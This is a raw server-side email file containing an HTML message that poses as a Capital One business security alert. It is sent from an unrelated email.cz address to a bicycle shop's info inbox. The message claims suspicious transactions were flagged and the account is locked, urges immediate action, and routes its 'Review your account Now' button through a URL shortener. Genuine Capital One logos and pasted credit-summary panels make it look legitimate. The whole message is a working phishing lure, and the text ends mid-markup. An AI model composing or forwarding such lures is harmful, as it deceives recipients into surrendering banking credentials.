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Edit File: 1765815739.M226564P1793204.server-619288.prediksijaya.com,S=47521,W=48297:2,a

Envelope-to: info@21stbikes.com
Delivery-date: Mon, 15 Dec 2025 23:22:19 +0700
From: "Capital One | Business" <securealerts-info@email.cz>
To: info@21stbikes.com
Subject: Security Alert: Unusual Transaction Flagged on Your Account
Date: 15 Dec 2025 13:21:37 -0300
Message-ID: <20251215132136.CE4427424EFEB685@email.cz>
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<DIV style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(212,212,212) 1px s=
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<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
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<H1 style=3D"BOX-SIZING: border-box; LINE-HEIGHT: 1.2; MARGIN: 0px; FONT-WE=
IGHT: 500"><A style=3D"BOX-SIZING: border-box; BACKGROUND-COLOR: transparen=
t; COLOR: rgb(0,172,255); TEXT-DECORATION: none" href=3D"https://click-noti=
fication.capitalone.com/f/a/NFuWZ3UoO9JcVMt5NrVnlw~~/AAAAARA~/KYpfo6zvnNs25=
kEMKRarDODpesUntWEJBhmqZKSGsCVp2A4JIoXpgb836pQBDOcO1YOTOrm4t1d-cFG7R19LB4W8=
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<IMG style=3D"BOX-SIZING: border-box; BORDER-BOTTOM-STYLE: none; BORDER-RIG=
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middle; BORDER-LEFT-STYLE: none; border-radius: 4px" class=3Dv1lightimg bor=
der=3D0 alt=3D"Capital One | CreditWise"=20
src=3D"https://ecm.capitalone.com/Messaging/assets/images/logos_global/lock=
up_creditWise_3x.png" width=3D318 height=3D58></A></H1></TD></TR></TBODY></=
TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
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l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
class=3Dv1darkmode border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%=
" bgColor=3D#ffffff>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 32=
px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px; FONT-FAMILY: Optimist, 'Helvet=
ica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-TOP:=
 32px">
<H2 style=3D"BOX-SIZING: border-box; LINE-HEIGHT: 46px; MARGIN: 0px; FONT-S=
IZE: 32px; FONT-WEIGHT: 600"><SPAN style=3D"BOX-SIZING: border-box; LINE-HE=
IGHT: 46px; FONT-SIZE: 36px; FONT-WEIGHT: 300">Urgent Request to Review Sus=
picious Spending Patterns, Fraud Report,</SPAN></H2></TD></TR></TBODY></TAB=
LE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
 Roboto, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: norma=
l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
class=3Dv1darkmode border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%=
" bgColor=3D#ffffff>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; PADDING-BOTTOM: 24px=
; LINE-HEIGHT: 24px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px; FONT-FAMILY: =
Optimist, 'Helvetica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,=
20); FONT-SIZE: 16px; PADDING-TOP: 0px"><SPAN style=3D"BOX-SIZING: border-b=
ox; LINE-HEIGHT: 24px; FONT-SIZE: 16px; FONT-WEIGHT: 400">
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D"BOX-SIZING:=
 border-box; LINE-HEIGHT: 24px; FONT-FAMILY: Optimist, 'Helvetica Neue', He=
lvetica, Arial, sans-serif; FONT-SIZE: 16px; FONT-WEIGHT: 400">Our monitori=
ng systems flagged transactions that appear inconsistent with your typical =
spending behavior. While we cannot disclose specific details for security r=
easons, this may include unexpected purchases, geographic irregularities, o=
r high-frequency activity:</SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D"BOX-SIZING:=
 border-box; LINE-HEIGHT: 24px; FONT-FAMILY: Optimist, 'Helvetica Neue', He=
lvetica, Arial, sans-serif; FONT-SIZE: 16px; FONT-WEIGHT: 400"></SPAN>&nbsp=
;</P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D"BOX-SIZING:=
 border-box; LINE-HEIGHT: 24px; FONT-FAMILY: Optimist, 'Helvetica Neue', He=
lvetica, Arial, sans-serif; FONT-SIZE: 16px; FONT-WEIGHT: 400">To protect y=
our account from potential fraud, we have temporarily locked it as a precau=
tionary measure and immediate action is required</SPAN>.</SPAN></P></TD></T=
R>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; LINE-HEIGHT: 0; P=
ADDING-LEFT: 0px; PADDING-RIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px">&nb=
sp;</TD></TR></TBODY></TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
 Roboto, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: norma=
l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
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" bgColor=3D#ffffff>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 24=
px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px; PADDING-TOP: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse; border-r=
adius: 4px" class=3Dv1cssbutton border=3D0 cellSpacing=3D0 cellPadding=3D0 =
bgColor=3D#0276b1 align=3Dcenter>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; LINE-HEIGHT: 30px"=
 class=3Dv1cssbutton width=3D300><A style=3D"BOX-SIZING: border-box; BACKGR=
OUND-COLOR: transparent; WIDTH: 300px; DISPLAY: inline-block; FONT: 20px/30=
px Optimist, 'Helvetica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(0,1=
72,255); TEXT-DECORATION: none" href=3D"https://gqr.sh/yQ3d" rel=3Dnoreferr=
er target=3D_blank>
<STRONG style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 9px; PADDING-LEFT:=
 16px; PADDING-RIGHT: 16px; DISPLAY: inline-block; COLOR: rgb(255,255,255);=
 FONT-WEIGHT: 400; PADDING-TOP: 9px">Review your account Now</STRONG></A></=
TD></TR></TBODY></TABLE>
<P>&nbsp;</P>
<P>Check your transaction history for any unauthorized charges. If you reco=
gnize suspicious activity, report it immediately.</P>
<P>If fraudulent transactions are confirmed, Capital One will issue a provi=
sional credit and investigate further. You will not be held responsible for=
 unauthorized charges.</P></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; LINE-HEIGHT: 0; P=
ADDING-LEFT: 0px; PADDING-RIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px">&nb=
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l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
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<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-LEFT: 0px=
; PADDING-RIGHT: 0px; PADDING-TOP: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MARGIN: 0px auto; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MAX-WIDTH: 544px" border=3D0 cellSpacing=3D0 cellPa=
dding=3D0 align=3Dcenter>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" class=3D=
v1darkaccent border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgCo=
lor=3D#f4f4f4>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; LINE-HEIGHT: 0; =
PADDING-LEFT: 0px; PADDING-RIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px">&n=
bsp;</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 24=
px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px; FONT-FAMILY: Optimist, 'Helvet=
ica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-TOP:=
 0px">
<H2 style=3D"BOX-SIZING: border-box; LINE-HEIGHT: 36px; MARGIN: 0px; FONT-S=
IZE: 24px; FONT-WEIGHT: 600"><SPAN style=3D"BOX-SIZING: border-box; FONT-WE=
IGHT: 300">Highlights of your changes from</SPAN><SPAN style=3D"BOX-SIZING:=
 border-box; FONT-WEIGHT: 300"></SPAN><SPAN style=3D"BOX-SIZING: border-box=
; FONT-WEIGHT: 300"><BR style=3D"BOX-SIZING: border-box; DISPLAY: inline" c=
lass=3Dv1mblhide>September 19, 2025 to October 17, 2025</SPAN></H2></TD></T=
R>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 0p=
x; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-SIZE: 0px; PADDING-TOP: 0p=
x" dir=3Dltr>
<DIV style=3D"BOX-SIZING: border-box; WIDTH: 103px; DISPLAY: inline-block; =
MAX-WIDTH: 103px; VERTICAL-ALIGN: top" class=3Dv1column>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%">
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 24=
px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; PADDING-TOP: 0px">
<IMG style=3D"BOX-SIZING: border-box; BORDER-BOTTOM-STYLE: none; TEXT-ALIGN=
: center; BORDER-RIGHT-STYLE: none; WIDTH: 70px; FONT: 20px/30px Optimist, =
'Helvetica Neue', Helvetica, Arial, sans-serif; MAX-WIDTH: 70px !important;=
 BORDER-TOP-STYLE: none; HEIGHT: auto; COLOR: rgb(20,20,20); VERTICAL-ALIGN=
: bottom; BORDER-LEFT-STYLE: none" border=3D0=20
src=3D"https://mi.capitalone.com/p/rp/bed25787d806219a.png?icon_show_border=
=3Dtrue&amp;icon_color=3D013D5B&amp;icon_id=3Dprimary-annualFee&amp;icon_in=
ner_color=3DFFFFFF&amp;icon_size=3D70&amp;icon_background=3DF4F4F4" width=
=3D70></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-LEFT: 0px=
; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;</TD></TR></TBODY></TABLE></D=
IV><SPAN>&nbsp;</SPAN>=20
<DIV style=3D"BOX-SIZING: border-box; WIDTH: 417px; DISPLAY: inline-block; =
MAX-WIDTH: 417px; VERTICAL-ALIGN: top" class=3Dv1column>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%">
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; PADDING-BOTTOM: 8px;=
 PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-FAMILY: Optimist, 'Helvetica=
 Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-TOP: 0p=
x">
<H2 style=3D"BOX-SIZING: border-box; LINE-HEIGHT: 24px; MARGIN: 0px; FONT-S=
IZE: 16px; FONT-WEIGHT: 600"><STRONG style=3D"BOX-SIZING: border-box; FONT-=
WEIGHT: bolder">Payment<SPAN>&nbsp;</SPAN></STRONG><STRONG style=3D"BOX-SIZ=
ING: border-box; FONT-WEIGHT: bolder">history<BR style=3D"BOX-SIZING: borde=
r-box" class=3Dv1softBreak></STRONG><SPAN style=3D"BOX-SIZING: border-box; =
COLOR: rgb(1,61,91); FONT-WEIGHT: 600">9/9</SPAN><SPAN style=3D"BOX-SIZING:=
 border-box; COLOR: rgb(1,61,91); FONT-WEIGHT: 600"><SPAN>
 &nbsp;</SPAN>account payments made on time</SPAN></H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; PADDING-BOTTOM: 24px=
; LINE-HEIGHT: 24px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-FAMILY: =
Optimist, 'Helvetica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,=
20); FONT-SIZE: 16px; PADDING-TOP: 0px">
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, your history o=
f on-time payments indicates whether you&#8217;ll make payments on time in =
the future.</P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></=
TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
 Roboto, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: norma=
l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
class=3Dv1darkmode border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%=
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></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><=
/TD></TR></TBODY></TABLE>
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dding=3D0 align=3Dcenter>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" class=3D=
v1darkaccent border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgCo=
lor=3D#f4f4f4>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; LINE-HEIGHT: 0; =
PADDING-LEFT: 0px; PADDING-RIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px">&n=
bsp;</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 0p=
x; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-SIZE: 0px; PADDING-TOP: 0p=
x" dir=3Dltr>
<DIV style=3D"BOX-SIZING: border-box; WIDTH: 103px; DISPLAY: inline-block; =
MAX-WIDTH: 103px; VERTICAL-ALIGN: top" class=3Dv1column>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%">
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 24=
px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; PADDING-TOP: 0px">
<IMG style=3D"BOX-SIZING: border-box; BORDER-BOTTOM-STYLE: none; TEXT-ALIGN=
: center; BORDER-RIGHT-STYLE: none; WIDTH: 70px; FONT: 20px/30px Optimist, =
'Helvetica Neue', Helvetica, Arial, sans-serif; MAX-WIDTH: 70px !important;=
 BORDER-TOP-STYLE: none; HEIGHT: auto; COLOR: rgb(20,20,20); VERTICAL-ALIGN=
: bottom; BORDER-LEFT-STYLE: none" border=3D0=20
src=3D"https://mi.capitalone.com/p/rp/bed25787d806219a.png?icon_show_border=
=3Dtrue&amp;icon_color=3D013D5B&amp;icon_id=3Dprimary-loans&amp;icon_inner_=
color=3DFFFFFF&amp;icon_size=3D70&amp;icon_background=3DF4F4F4" width=3D70>=
</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-LEFT: 0px=
; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;</TD></TR></TBODY></TABLE></D=
IV><SPAN>&nbsp;</SPAN>=20
<DIV style=3D"BOX-SIZING: border-box; WIDTH: 417px; DISPLAY: inline-block; =
MAX-WIDTH: 417px; VERTICAL-ALIGN: top" class=3Dv1column>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%">
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; PADDING-BOTTOM: 8px;=
 PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-FAMILY: Optimist, 'Helvetica=
 Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-TOP: 0p=
x">
<H2 style=3D"BOX-SIZING: border-box; LINE-HEIGHT: 24px; MARGIN: 0px; FONT-S=
IZE: 16px; FONT-WEIGHT: 600"><STRONG style=3D"BOX-SIZING: border-box; FONT-=
WEIGHT: bolder">New<SPAN>&nbsp;</SPAN></STRONG><STRONG style=3D"BOX-SIZING:=
 border-box; FONT-WEIGHT: bolder">accounts<BR style=3D"BOX-SIZING: border-b=
ox" class=3Dv1softBreak></STRONG><SPAN style=3D"BOX-SIZING: border-box; COL=
OR: rgb(1,61,91); FONT-WEIGHT: 600">0</SPAN><SPAN style=3D"BOX-SIZING: bord=
er-box; COLOR: rgb(1,61,91); FONT-WEIGHT: 600"><SPAN>
 &nbsp;</SPAN>new accounts</SPAN></H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; PADDING-BOTTOM: 24px=
; LINE-HEIGHT: 24px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-FAMILY: =
Optimist, 'Helvetica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,=
20); FONT-SIZE: 16px; PADDING-TOP: 0px">
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, opening too ma=
ny new accounts in a short window of time could point to credit problems.</=
P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></TD></TR></TBO=
DY></TABLE></TD></TR></TBODY></TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
 Roboto, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: norma=
l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
class=3Dv1darkmode border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%=
" bgColor=3D#ffffff>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-LEFT: 0px=
; PADDING-RIGHT: 0px; PADDING-TOP: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MARGIN: 0px auto; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MAX-WIDTH: 544px" border=3D0 cellSpacing=3D0 cellPa=
dding=3D0 align=3Dcenter>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" class=3D=
v1darkaccent border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgCo=
lor=3D#f4f4f4>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-LEFT: 24p=
x; PADDING-RIGHT: 24px; PADDING-TOP: 0px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" border=
=3D0 cellSpacing=3D0 cellPadding=3D0 align=3Dcenter>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(125,125,125) 1px so=
lid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 0; PADDING-LEFT: 0px; PADDING-RIGHT:=
 0px; HEIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px" width=3D640>&nbsp;</TD=
></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><=
/TD></TR></TBODY></TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
 Roboto, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: norma=
l; COLOR: rgb(44,54,58); FONT-SIZE: 14px; FONT-WEIGHT: 400; WORD-SPACING: 0=
px; text-decoration-color: initial; font-variant-ligatures: normal; font-va=
riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=
ss: initial; text-decoration-style: initial"=20
class=3Dv1darkmode border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%=
" bgColor=3D#ffffff>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-LEFT: 0px=
; PADDING-RIGHT: 0px; PADDING-TOP: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MARGIN: 0px auto; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MAX-WIDTH: 544px" border=3D0 cellSpacing=3D0 cellPa=
dding=3D0 align=3Dcenter>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" class=3D=
v1darkaccent border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgCo=
lor=3D#f4f4f4>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; LINE-HEIGHT: 0; =
PADDING-LEFT: 0px; PADDING-RIGHT: 0px; FONT-SIZE: 0px; PADDING-TOP: 0px">&n=
bsp;</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 0p=
x; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-SIZE: 0px; PADDING-TOP: 0p=
x" dir=3Dltr>
<DIV style=3D"BOX-SIZING: border-box; WIDTH: 103px; DISPLAY: inline-block; =
MAX-WIDTH: 103px; VERTICAL-ALIGN: top" class=3Dv1column>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%">
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center; PADDING-BOTTOM: 24=
px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; PADDING-TOP: 0px">
<IMG style=3D"BOX-SIZING: border-box; BORDER-BOTTOM-STYLE: none; TEXT-ALIGN=
: center; BORDER-RIGHT-STYLE: none; WIDTH: 70px; FONT: 20px/30px Optimist, =
'Helvetica Neue', Helvetica, Arial, sans-serif; MAX-WIDTH: 70px !important;=
 BORDER-TOP-STYLE: none; HEIGHT: auto; COLOR: rgb(20,20,20); VERTICAL-ALIGN=
: bottom; BORDER-LEFT-STYLE: none" border=3D0=20
src=3D"https://mi.capitalone.com/p/rp/bed25787d806219a.png?icon_show_border=
=3Dtrue&amp;icon_color=3D013D5B&amp;icon_id=3Dprimary-credit&amp;icon_inner=
_color=3DFFFFFF&amp;icon_size=3D70&amp;icon_background=3DF4F4F4" width=3D70=
></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-LEFT: 0px=
; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;</TD></TR></TBODY></TABLE></D=
IV><SPAN>&nbsp;</SPAN>=20
<DIV style=3D"BOX-SIZING: border-box; WIDTH: 417px; DISPLAY: inline-block; =
MAX-WIDTH: 417px; VERTICAL-ALIGN: top" class=3Dv1column>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r border=3D0 cellSpacing=3D0 cellPadding=3D0 width=3D"100%">
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; PADDING-BOTTOM: 8px;=
 PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-FAMILY: Optimist, 'Helvetica=
 Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-TOP: 0p=
x">
<H2 style=3D"BOX-SIZING: border-box; LINE-HEIGHT: 24px; MARGIN: 0px; FONT-S=
IZE: 16px; FONT-WEIGHT: 600"><STRONG style=3D"BOX-SIZING: border-box; FONT-=
WEIGHT: bolder">Credit<SPAN>&nbsp;</SPAN></STRONG><STRONG style=3D"BOX-SIZI=
NG: border-box; FONT-WEIGHT: bolder">usage<BR style=3D"BOX-SIZING: border-b=
ox" class=3Dv1softBreak></STRONG><SPAN style=3D"BOX-SIZING: border-box; COL=
OR: rgb(1,61,91); FONT-WEIGHT: 600">30</SPAN><SPAN style=3D"BOX-SIZING: bor=
der-box; COLOR: rgb(1,61,91); FONT-WEIGHT: 600">
 % ? 27% of total credit used</SPAN></H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; PADDING-BOTTOM: 24px=
; LINE-HEIGHT: 24px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; FONT-FAMILY: =
Optimist, 'Helvetica Neue', Helvetica, Arial, sans-serif; COLOR: rgb(20,20,=
20); FONT-SIZE: 16px; PADDING-TOP: 0px">
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px">See how much credit you ar=
e using compared to your total credit&#8212;the lower your credit usage, th=
e better.</P></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-LEFT: 0px=
; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;</TD></TR></TBODY></TABLE></D=
IV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></=
TABLE>
<TABLE style=3D"BOX-SIZING: border-box; TEXT-ALIGN: left; WIDOWS: 2; TEXT-T=
RANSFORM: none; FONT-STYLE: normal; BORDER-COLLAPSE: collapse; FONT-FAMILY:=
 Roboto, sans-serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: norma=
